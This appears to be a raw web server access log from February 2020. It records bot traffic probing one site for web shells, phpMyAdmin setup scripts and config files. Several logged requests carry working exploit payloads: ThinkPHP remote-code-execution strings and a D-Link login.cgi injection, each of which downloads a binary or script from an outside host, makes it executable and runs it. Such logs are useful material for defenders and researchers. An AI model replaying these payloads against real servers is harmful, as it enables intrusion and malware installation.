77.22.38.155 - - [05/Feb/2020:13:28:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.244.60 - - [05/Feb/2020:13:28:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
218.66.104.120 - - [05/Feb/2020:13:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:29:40 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:29:40 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [05/Feb/2020:13:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:30:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
218.66.104.120 - - [05/Feb/2020:13:30:04 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
218.66.104.120 - - [05/Feb/2020:13:30:05 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
218.66.104.120 - - [05/Feb/2020:13:30:05 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
218.66.104.120 - - [05/Feb/2020:13:30:07 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
218.66.104.120 - - [05/Feb/2020:13:30:28 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [05/Feb/2020:13:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:30:52 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
218.66.104.120 - - [05/Feb/2020:13:31:16 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
112.72.80.115 - - [05/Feb/2020:13:31:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.114.149.10 - - [05/Feb/2020:13:31:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:31:40 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [05/Feb/2020:13:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:32:04 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
218.66.104.120 - - [05/Feb/2020:13:32:28 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
91.225.111.6 - - [05/Feb/2020:13:32:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:13:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:32:52 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
218.66.104.120 - - [05/Feb/2020:13:32:52 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:53 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:53 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:53 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:54 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:55 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:56 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:56 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:56 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:56 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:57 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:57 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:57 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:57 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:58 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:59 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:59 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:32:59 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:00 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:00 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:00 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:01 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:01 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:03 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:04 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:04 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:04 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:04 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:06 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:07 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:07 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:07 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:08 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:08 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:08 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:09 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:09 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:09 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:10 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:10 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:11 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:12 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:12 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:14 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:14 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:15 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:15 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:15 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:16 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:16 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:17 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:17 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:17 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:17 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:17 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:18 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:19 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:20 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:20 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:20 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:20 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:21 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:22 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:23 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:24 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:25 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:25 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:25 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:26 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:27 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:27 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:28 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:28 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:28 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:28 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:29 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:30 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:30 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:31 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:31 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:32 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:32 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:32 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:32 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:33 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:33 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:34 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:35 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:36 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:36 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:36 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:36 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:37 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:37 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:37 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:38 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:38 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:39 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:40 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:44 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:44 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:44 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:45 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:46 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
